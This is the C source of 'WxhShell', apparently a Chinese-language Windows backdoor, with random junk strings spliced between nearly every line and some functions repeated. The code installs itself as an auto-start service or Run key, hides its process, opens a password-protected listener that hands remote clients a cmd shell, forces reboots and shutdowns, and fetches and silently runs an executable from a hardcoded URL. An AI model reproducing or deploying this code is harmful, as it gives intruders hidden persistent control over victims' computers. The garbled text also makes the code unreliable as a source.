^D(N_va< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k0{5)Su"xr g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?|8H|LBIr NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'aQ"&GX@ s[|sfqB1` if (!NtQueryInformationProcess) return 0; vdloh , *KO4H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /O1r=lv3Z if(!hProcess) return 0; @,D 3$P8} LL+ROX^M if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '~{^c} |->{NUZ{ CloseHandle(hProcess); 0^4uZeW? <@9p|[! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n$Z@7r if(hProcess==NULL) return 0; Gn+D%5)$I Kd8V,teH HMODULE hMod; *hVW>{a char procName[255]; C2;qSKG3{m unsigned long cbNeeded; 8BC F.y O1pBr=+j+{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >OVi{NyT D.H$4[u;j CloseHandle(hProcess); woJO0hHR rxu
6 #v F if(strstr(procName,"services")) return 1; // 以服务启动 ~d :Z|8 5
T1M:~u i return 0; // 注册表启动 je1f\N45 } JnCp'` jW5n^Y) // 主模块 [L 0`B9TD~ int StartWxhshell(LPSTR lpCmdLine) vr<6j/ty { [$_d|Z SOCKET wsl; /T`L;YE BOOL val=TRUE; <>`+"O} int port=0; Tx%6whd/' struct sockaddr_in door; _4iTP$7[ ;hi+.ng_ if(wscfg.ws_autoins) Install(); e0%?;w-TL mAh0xgm port=atoi(lpCmdLine); |><hdBQXX< >|%m#JG if(port<=0) port=wscfg.ws_port; :nYl]Rm `An`"$z WSADATA data; h(!x&kZq. if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;o]'7qGb WmTSxneo if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DytH} U" setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6r/NdI door.sin_family = AF_INET; hko0
?z door.sin_addr.s_addr = inet_addr("127.0.0.1"); ''S*B|: door.sin_port = htons(port); Yz;Hu$/ =vLeOX if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4jefU}e9# closesocket(wsl); Qrjo@_+w! return 1; #?.Yc%5B } $6w[h7 w!o[pvyR$ if(listen(wsl,2) == INVALID_SOCKET) { [_6_A O(Z closesocket(wsl); Iih~W& return 1; Ovh
} &3lg\&" Wxhshell(wsl); -o*IJQ_ WSACleanup(); "1>I/CM !a?$ return 0; o@j]yA.5) (3YCe { } xWlj.Tjt} pUx~ // 以NT服务方式启动 bI.LE/yk VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f$$l,wo { n[ip'*2L DWORD status = 0; 3/V&PDC*' DWORD specificError = 0xfffffff; {h/[!I` W]MKc&R serviceStatus.dwServiceType = SERVICE_WIN32; j|"#S4IX)F serviceStatus.dwCurrentState = SERVICE_START_PENDING; s*{l}~fPkW serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v'uWmL7C serviceStatus.dwWin32ExitCode = 0; >2l1t}"\ serviceStatus.dwServiceSpecificExitCode = 0; (#GOXz serviceStatus.dwCheckPoint = 0; WrH7tz serviceStatus.dwWaitHint = 0; ]vRte!QJ; K|nh`r hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m UY+v>F if (hServiceStatusHandle==0) return; a;JB8 ek!x:G$' status = GetLastError(); 8&?Kg>M if (status!=NO_ERROR) |}N -5U { y}5V3)P serviceStatus.dwCurrentState = SERVICE_STOPPED;
6lw)L serviceStatus.dwCheckPoint = 0; &}:'YK*X serviceStatus.dwWaitHint = 0; sy`@q<h( serviceStatus.dwWin32ExitCode = status; ;sd[Q01 serviceStatus.dwServiceSpecificExitCode = specificError; 94 58.!3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); /f_w@TR\{ return; ^\=<geEj } &nkYJi(! &R+/Ie#0dz serviceStatus.dwCurrentState = SERVICE_RUNNING; KvENH=oh serviceStatus.dwCheckPoint = 0; A;ip
V :) serviceStatus.dwWaitHint = 0; .l?sYe64S if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -|;{/ s5 } y%%D=" Vb^P{F // 处理NT服务事件,比如:启动、停止 uYVlF@] VOID WINAPI NTServiceHandler(DWORD fdwControl) "TW%-67 { 278:5yC switch(fdwControl) 3z7SK Gy { vN#?>aL case SERVICE_CONTROL_STOP: k4:$LFw@ serviceStatus.dwWin32ExitCode = 0; o
4G%m>$ serviceStatus.dwCurrentState = SERVICE_STOPPED; ROcI.tL serviceStatus.dwCheckPoint = 0; {*utke]}* serviceStatus.dwWaitHint = 0; n;&08M5an} { ]}7FTMGbY SetServiceStatus(hServiceStatusHandle, &serviceStatus); P^9y0Q } cV]c/*zA return; pG"pvfEl9f case SERVICE_CONTROL_PAUSE: ,:6gp3 serviceStatus.dwCurrentState = SERVICE_PAUSED; Y%<y`]I break; iF]G$@rbU case SERVICE_CONTROL_CONTINUE: 7#/->Y serviceStatus.dwCurrentState = SERVICE_RUNNING; e4:,W+g,9 break; NGQBOV case SERVICE_CONTROL_INTERROGATE: {A!1s; break; Jr|"QRC }; Hq<Sg4nz SetServiceStatus(hServiceStatusHandle, &serviceStatus); aumWU{j= } u|]{|Ya'% ]b5E_/P // 标准应用程序主函数 ',Y`XP"Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &CP0T:h { r?cDyQE 0,a/t
jSr // 获取操作系统版本 Qm9r>m6p@N OsIsNt=GetOsVer(); e!V3 /*F GetModuleFileName(NULL,ExeFile,MAX_PATH); Iv,Ub_Ll9 ~x67v+I // 从命令行安装 }ACWSk WK if(strpbrk(lpCmdLine,"iI")) Install(); !97U2L4 ~>2DA$Ec // 下载执行文件 `)i'1E[9 if(wscfg.ws_downexe) { .T!R]n if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !+bLhW` WinExec(wscfg.ws_filenam,SW_HIDE);
LYTx8 } op!ft/Yyb Evjvaa^ if(!OsIsNt) { 6Bv!t2 // 如果时win9x,隐藏进程并且设置为注册表启动 k[_)5@2 HideProc(); sGBm[lplz StartWxhshell(lpCmdLine); .>X0 $# } zY11.!2 else ;dC>$_P? if(StartFromService()) /-C`*P=:u // 以服务方式启动 pt/UY<@yoN StartServiceCtrlDispatcher(DispatchTable); oc|%|pmRd< else x6n( BMr // 普通方式启动 8%+F.r StartWxhshell(lpCmdLine); #\P\(+0K N*^iOm]Y return 0; O {hM } w(,K N<d0C Xl/SDm_p NA :_yA" =========================================== h)NZG6R U{`Q_Uw@$: hXAgT!ZD J2_~iC&;s MBIlt
1P uGoySt&;( " r
9~Wh
$ DqH?:`G #include <stdio.h> (GCe D- #include <string.h> g+RgDt9 #include <windows.h> :cE6-Fv #include <winsock2.h> n%R l$ #include <winsvc.h>
S6d&w6 #include <urlmon.h> mm1fG4
*% uY_vX\;67z #pragma comment (lib, "Ws2_32.lib") ?'8(']/ #pragma comment (lib, "urlmon.lib")
/N8>>g [X&VxTxr #define MAX_USER 100 // 最大客户端连接数 f{HjM?
Mb3 #define BUF_SOCK 200 // sock buffer @CB&*VoB #define KEY_BUFF 255 // 输入 buffer W5SCm(QS5 h>a/3a$g #define REBOOT 0 // 重启 v'e5j``= #define SHUTDOWN 1 // 关机 2=%R>&]* c e\|eN[ #define DEF_PORT 5000 // 监听端口 o,q47W=7$ RxB9c(s^@ #define REG_LEN 16 // 注册表键长度 AZ7m=Q97 #define SVC_LEN 80 // NT服务名长度 ll^#I/ \UEO$~Km // 从dll定义API n5U-D0/Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0|chRX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |=rb#z& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !uc"|S? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n#
4e1n+I i.5?b/l0 // wxhshell配置信息 Hs#q 7 struct WSCFG { =U`9_]~1c@ int ws_port; // 监听端口 P 5_l& char ws_passstr[REG_LEN]; // 口令 Pw|J([ int ws_autoins; // 安装标记, 1=yes 0=no ,3,(/%=k char ws_regname[REG_LEN]; // 注册表键名 t,IQ|B&0 char ws_svcname[REG_LEN]; // 服务名 xV\mS+#
char ws_svcdisp[SVC_LEN]; // 服务显示名 *p.70,5, char ws_svcdesc[SVC_LEN]; // 服务描述信息 A>Y#-e;<d char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K)&oDwk int ws_downexe; // 下载执行标记, 1=yes 0=no &<Iz?AVr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *1b1phh0/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -VafN n:P++^ j }; cKe{ ]a ><DXT nt'x // default Wxhshell configuration gCP f1z struct WSCFG wscfg={DEF_PORT, pRc<U^Z.h "xuhuanlingzhe", P+gYLX8 1, 7\<}378/^ "Wxhshell", =;m;r!,K "Wxhshell", ~ \3j{pr "WxhShell Service", O!ngQrI "Wrsky Windows CmdShell Service", @A1Ohl "Please Input Your Password: ", d3&l!DoX 1, =LyRCrA "http://www.wrsky.com/wxhshell.exe", NA{?DSP "Wxhshell.exe" oaGpqjBGQ }; U6Xi-@XP |S.;']t+ // 消息定义模块 !McRtxq?~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U%4s@{7 char *msg_ws_prompt="\n\r? for help\n\r#>"; Kq&JvY^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t_NnQ4)= char *msg_ws_ext="\n\rExit."; vE$n0bL2 char *msg_ws_end="\n\rQuit."; >pj)va[Q char *msg_ws_boot="\n\rReboot..."; )o N#%%SB< char *msg_ws_poff="\n\rShutdown..."; ]MaD7q>+R char *msg_ws_down="\n\rSave to "; .3:s4=(f KlSg0s char *msg_ws_err="\n\rErr!"; )2g-{cYv char *msg_ws_ok="\n\rOK!"; R$M>[Kjn th]pqhl> char ExeFile[MAX_PATH]; 4H@K?b` int nUser = 0; " ,>,t_J HANDLE handles[MAX_USER]; CU_8
`} int OsIsNt; d45mKla(V 7&Qf))L SERVICE_STATUS serviceStatus; +I[Hxf ~ SERVICE_STATUS_HANDLE hServiceStatusHandle; 5K[MKfT 1Farix1YDq // 函数声明 "H3DmsB int Install(void); y%@C-: int Uninstall(void); ;pVnBi
int DownloadFile(char *sURL, SOCKET wsh); -XMWN$Ah int Boot(int flag); %C=?Xhnv void HideProc(void); /PTk296@ int GetOsVer(void); .yN. int Wxhshell(SOCKET wsl); Xb\de_8! void TalkWithClient(void *cs); +xojnv int CmdShell(SOCKET sock); 7Ug^aA int StartFromService(void); .EdQ]c-E= int StartWxhshell(LPSTR lpCmdLine); l<dtc[ 3.@I\p} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q'R*a(pm VOID WINAPI NTServiceHandler( DWORD fdwControl ); K/IG6s;Xj
zPW_ // 数据结构和表定义 QvvH/u SERVICE_TABLE_ENTRY DispatchTable[] = V)#rP?Y { L3|~
i&k {wscfg.ws_svcname, NTServiceMain}, #:M <<gk {NULL, NULL} OTV$8{ }; I*OJPFZ^4 QNxY` // 自我安装 Mcm%G# int Install(void) Q%.F Mf { rlP?Uh char svExeFile[MAX_PATH]; 344E4F"ph HKEY key; ~pG,|\9 strcpy(svExeFile,ExeFile); o@@,
} %}1v- z // 如果是win9x系统,修改注册表设为自启动 Tt+E?C%Y if(!OsIsNt) { [z> Ya-uz7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jQ&82X%m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Msl8o
c RegCloseKey(key); tEjT$`6hp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E.%_i8s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,); -v4$ RegCloseKey(key); F_z1ey`t return 0; *di}rQHm } CI+@GXY } -YJ4-]Z } \Rz-*zr& else { y6`zdB \+VQoB/ // 如果是NT以上系统,安装为系统服务 # "KaRh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `Yw:<w\4C
if (schSCManager!=0)
`ZZq Sc4 { 0.lOSAq SC_HANDLE schService = CreateService PsCr[\Ul ( AroYDR,3+ schSCManager, |Wz`#<t wscfg.ws_svcname, CaqqH`/E4 wscfg.ws_svcdisp, L{uQ:;w1 SERVICE_ALL_ACCESS, / &#b*46 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C{2y*sx SERVICE_AUTO_START, hB??~>i3 SERVICE_ERROR_NORMAL, p$_X\,F svExeFile, t;L7H E@Y NULL, d[$YTw NULL, O#3PUuE%d NULL, f0]`TjY NULL, r0j+P% NULL ' T%70)CM~ ); W'}^m*F if (schService!=0) E-"b":@: { ~?<VT
k CloseServiceHandle(schService); ^gdv:[m CloseServiceHandle(schSCManager); 7?a!x$-U( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E)]RQ~jY? strcat(svExeFile,wscfg.ws_svcname); >@uF ye$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 87q~
nk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bC0DzBnM; RegCloseKey(key); /\u1q< return 0; _&}z+(Ug } <nbc
RO. } d6+{^v$# CloseServiceHandle(schSCManager); 5~\GAjf } %W,V~kb } {bMOT*X=A aa,^+^J return 1; dO|n[/qL0 } |nT+W|0U #1<Jwt+ // 自我卸载 .qg 2zE$0 int Uninstall(void) ?i5=sK\ { h[}e5A]} HKEY key; 8s)(e9Sr t>%+[7?6 if(!OsIsNt) { xay~fD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hwiftx RegDeleteValue(key,wscfg.ws_regname); #!R =h| RegCloseKey(key); 3iBUIv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;noZmPa RegDeleteValue(key,wscfg.ws_regname); ]Yx& RegCloseKey(key); BfdS3VrZ/ return 0; Xn*>qm } 8Y&_X0T| } se`^g
,]P } =q?s B]n else { zsmlXyP'e! 1y7FvD~ v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jzAXC^FS if (schSCManager!=0) -@?4Tfl { .BrYz:#A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {^_K
if (schService!=0) A? T25<} { v/~Lf i if(DeleteService(schService)!=0) { FN"Ye*d CloseServiceHandle(schService); #Z1
<lAy CloseServiceHandle(schSCManager); *rv7#!]. return 0; MoMxKmI } #v}pn2g%> CloseServiceHandle(schService); +5qY*$dn } ,B,:$G< CloseServiceHandle(schSCManager); vG#,J&aW } v#b( 0G } -Gd@baV ^+rI=c 0 return 1; S- JD}+9 } '-M9v3itC &"mWi-Mpl // 从指定url下载文件 ~R
C\ int DownloadFile(char *sURL, SOCKET wsh) )bl^:C { "eZ~]m}L0 HRESULT hr; UB3hC`N\ char seps[]= "/"; cs7K^D;.V char *token; G}#p4\/ char *file; :[!b";pR char myURL[MAX_PATH]; ]Ia}H+ & char myFILE[MAX_PATH]; C1po]Ott* [J
+5 strcpy(myURL,sURL); MD>xRs token=strtok(myURL,seps); 'l6SL-
< while(token!=NULL) BT*{&'\/ { %hN7K file=token; J{e`P;ND token=strtok(NULL,seps); {\ ]KYI0 } 8<PQ31 $n_ax\15 GetCurrentDirectory(MAX_PATH,myFILE); "V{v*Aei0 strcat(myFILE, "\\"); bD<hzOa strcat(myFILE, file); e1Bqd+ send(wsh,myFILE,strlen(myFILE),0); |^C35 6M> send(wsh,"...",3,0); *Z2#U?_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X{tfF!+iy if(hr==S_OK) ujh`&GiB+ return 0; M=#g_*d else 3h**y
%^ return 1; [1g s(cC; } y@9ifFr v?s%qb= T // 系统电源模块 ie}?}s int Boot(int flag) /kNSB; { sDP8! HANDLE hToken; DT3koci( TOKEN_PRIVILEGES tkp; C(&3L[ /TY=ig1z if(OsIsNt) { O7z5,- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uQiW{Kja2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \
k &ZA tkp.PrivilegeCount = 1; h7J4 p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )M_|r2dDq3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hFMT@Gy if(flag==REBOOT) { lt& c/xi_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
J7p?9 return 0; %s ">: } Y InPmR else { !xE@r,'oN if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zszx~LSvIT return 0; %H3
M0J2L } 3Uy(d,N } +u;RFY^ else { /A93mY[ if(flag==REBOOT) { jf=\\*64r4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /7igPNhx return 0; wW|[Im& } `u$lSGl else { K(rWM>Jv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3 uJ?; return 0; f{)n xd
># } }Apn.DYbbf } g[(Eh?]Sc 5G l:jRu return 1; ]K|td)1X } Aaz2._:/-m j> dL:V&` // win9x进程隐藏模块 I}u&iV` void HideProc(void) <ToRPx&E { ` NCH^) ;nAI;Qw L HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2#R8}\ if ( hKernel != NULL ) fT.MglJcb { !7Nz_d~n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c{[ lT2yxU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v$#l]A_D FreeLibrary(hKernel); Ch73=V } mq+<2 S \{;3'< return; $Z<x r } .q|k459oi mb*|$ysPx // 获取操作系统版本 sPvjJ r"s int GetOsVer(void) 5=/j { I-m Bj8^; OSVERSIONINFO winfo; cFr`9A\-n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UdcrX`^. GetVersionEx(&winfo); q_Z6s5O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LvNulMEK return 1; KO[,C[;|j else Xo3@-D_c!c return 0; V#X<Yt } qO[_8's8 j[Gg[7q{y // 客户端句柄模块 iH8V] % int Wxhshell(SOCKET wsl) a(lmm@;V< { vsJM[$RF SOCKET wsh; 8wMwS6s: struct sockaddr_in client; FT\%=>{ DWORD myID; PxA
OKUpI Rp0^Gwa while(nUser<MAX_USER) KpT=twcK { 1v 4M* int nSize=sizeof(client); ,,]<f*N wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v(zfq'^%` if(wsh==INVALID_SOCKET) return 1; *
'Bu-1{ eU\XAN#@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1NkJs& if(handles[nUser]==0) +0)H~
qB\ closesocket(wsh); 9ePom'1f1 else myF/_o&Ty nUser++; ~.CmiG.7 } sY:=bU^P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZqXp f _gw paAJ return 0; ij?Ww'p9> } 38GZ_z}r j<)`|?@e( // 关闭 socket w<Bw2c void CloseIt(SOCKET wsh) |)S*RQb\ { V=<AI.Z:w closesocket(wsh); a\}`
f=T nUser--; 9 dK` ExitThread(0); KxDp+]N]
} zbj V>5 ?C']R(fQ\ // 客户端请求句柄 'V\V=yc1 void TalkWithClient(void *cs) a%5/Oc[[ { 1u"#rC>7.4 EI496bsRHm SOCKET wsh=(SOCKET)cs; ] !n3j=* char pwd[SVC_LEN]; ZEso2|
char cmd[KEY_BUFF]; =MT'e,T char chr[1]; 3i~X`@$k> int i,j; ij1YV2v )iFXa<5h while (nUser < MAX_USER) { k U0.:Gcc fk!9` p' if(wscfg.ws_passstr) { [&kz4_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x"r,l/gzy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GJF &id //ZeroMemory(pwd,KEY_BUFF); Ss_}@p ^ i=0; =.w~qL while(i<SVC_LEN) { MGY0^6yK5 hVAatn[ // 设置超时 HiBI0)N} fd_set FdRead; 3O;"{E=
< struct timeval TimeOut; Mmg~Fn FD_ZERO(&FdRead); S&QXf<v FD_SET(wsh,&FdRead); ]LEaoOecu TimeOut.tv_sec=8; JKy~'>Q TimeOut.tv_usec=0; 0Ua=&;/2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `F3wO! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1}Y3|QxF EWQLLH "h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D$@2H>.- pwd=chr[0]; ~@(C+ 3, if(chr[0]==0xd || chr[0]==0xa) { jAU&h@ pwd=0; $x,EPRNs break; IUNr<w< } E(vO^)# i++; BMdZd5!p& } ^bP`Iv Hp>L}5 y[ // 如果是非法用户,关闭 socket -y{(h%6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g[bu9i } *,IK4F6>: (w:,iw# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P$Oj3HD LM send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); paLPC&G esj6=Gh while(1) { xVgm 9s$"c dfKGO$}V ZeroMemory(cmd,KEY_BUFF); g7a446QR\K O6vxp?:^ // 自动支持客户端 telnet标准 szb@2fK j=0; 5[4nFa}R:5 while(j<KEY_BUFF) { R PoBF~> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 841 y"@*BY cmd[j]=chr[0]; ~KYzEqy if(chr[0]==0xa || chr[0]==0xd) { w52py7 cmd[j]=0; '&dT break; "qd|!:bE } OM{^F=Ap j++; m C`*#[ } $;'M8L d~QM@<SV // 下载文件 k54\H. if(strstr(cmd,"http://")) { _U-`/r o send(wsh,msg_ws_down,strlen(msg_ws_down),0); mC$y*G if(DownloadFile(cmd,wsh)) }Z FoCMM send(wsh,msg_ws_err,strlen(msg_ws_err),0); o-7{\%+M else ;{L[1OP%e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &)gc{(4$ } vdC0tax else { 5RFro^S9E X% j`rQk` switch(cmd[0]) { CuvY^[" Z,e|L4& // 帮助 jH!;}q case '?': { Nr~!5XO send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -0#"<!N break; s_XCKhN: } 7Q9Hk(Z9 // 安装 z k/`Uz case 'i': { wT\BA'VQ if(Install()) J8p; 1-C" send(wsh,msg_ws_err,strlen(msg_ws_err),0); $rmxwxz&W: else GdI,&|/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -X!<$<\y; break; j?m(l,YD|* } 3*~`z9-z // 卸载 wbAwmOiZ case 'r': { rzIWQFv if(Uninstall()) o>C,Db~L/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); $cHU, else )'T].kWW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *3fl}l break; Tp?IK_ } hmGlGc,lf // 显示 wxhshell 所在路径 *3`R W<Z case 'p': { L?+N:G
char svExeFile[MAX_PATH]; r=0PW_r: strcpy(svExeFile,"\n\r"); [|oG}'Xz strcat(svExeFile,ExeFile); 3 0[Xkz send(wsh,svExeFile,strlen(svExeFile),0); t3Gy *B break; JX&]>#6|E } A;Y~Hu4KPZ // 重启 o#\L4P(J case 'b': { i@nRZ$ K send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '1LN)Yw if(Boot(REBOOT)) 4"kc(J`c send(wsh,msg_ws_err,strlen(msg_ws_err),0); J FnE{ else { QOktIH closesocket(wsh); f&4+-w.:V| ExitThread(0); k-
9i } O=7S=Rm4& break; \O"H#gt } $I*}AUp
v? // 关机 jyW={%& case 'd': { Mb2a;s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *sU,waX if(Boot(SHUTDOWN)) g$Y]{VM.J send(wsh,msg_ws_err,strlen(msg_ws_err),0); kE'p=dXx else { xjbI1qCfe closesocket(wsh); Nmz5:Rq ExitThread(0); [;,E cw^ }
E/oLE^yL break; T90O.]S } xbhHP2F| // 获取shell aSIb0`(3 case 's': { Lm=EN%*#9 CmdShell(wsh); @NA+Ma{N closesocket(wsh); ;%2+Tc-7I ExitThread(0); e8 ]CB break; Al*=%nY } jy.L/s // 退出 plB8iN`x< case 'x': { O713'i send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,c`6- CloseIt(wsh); elGBX
h break; a. D cmy{ } +BtLd+)R // 离开 02;'"EmP$ case 'q': { :j3'+%'2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 33lh~+C closesocket(wsh); P?>:YY53 WSACleanup(); D.{vuftu exit(1); PU.j(0 break; h\@X!Z, } {ObY1Y`ea } yO7H!}y_ } 8BAe6-*S8 vo
}4N[]Sb // 提示信息 W895@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Z>=5:+G@2 } 6)YckxN^ } =3'B$PY "6%{#TZ return; d1g7:s9$0 } 3t9+Y dNKU h~sTi // shell模块句柄 -V2`[k int CmdShell(SOCKET sock) .{t5_,P { jNX6Ct? STARTUPINFO si; W7|nc,i0\ ZeroMemory(&si,sizeof(si)); WNjG/U si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bvB7d`wx si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cd^1E]O0{ PROCESS_INFORMATION ProcessInfo; !U4YA1>> char cmdline[]="cmd"; g/$RuT2U CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GL0P&$h return 0; 8SroA$^n } "kcix!}& [Y`E"1f2 // 自身启动模式 lQ^"-zO4 int StartFromService(void) *N
~'0"# { =jm\8sl~~ typedef struct \anOOn@ { 3%9XJ]Qao DWORD ExitStatus; |a7Kn/[`, DWORD PebBaseAddress; L:& |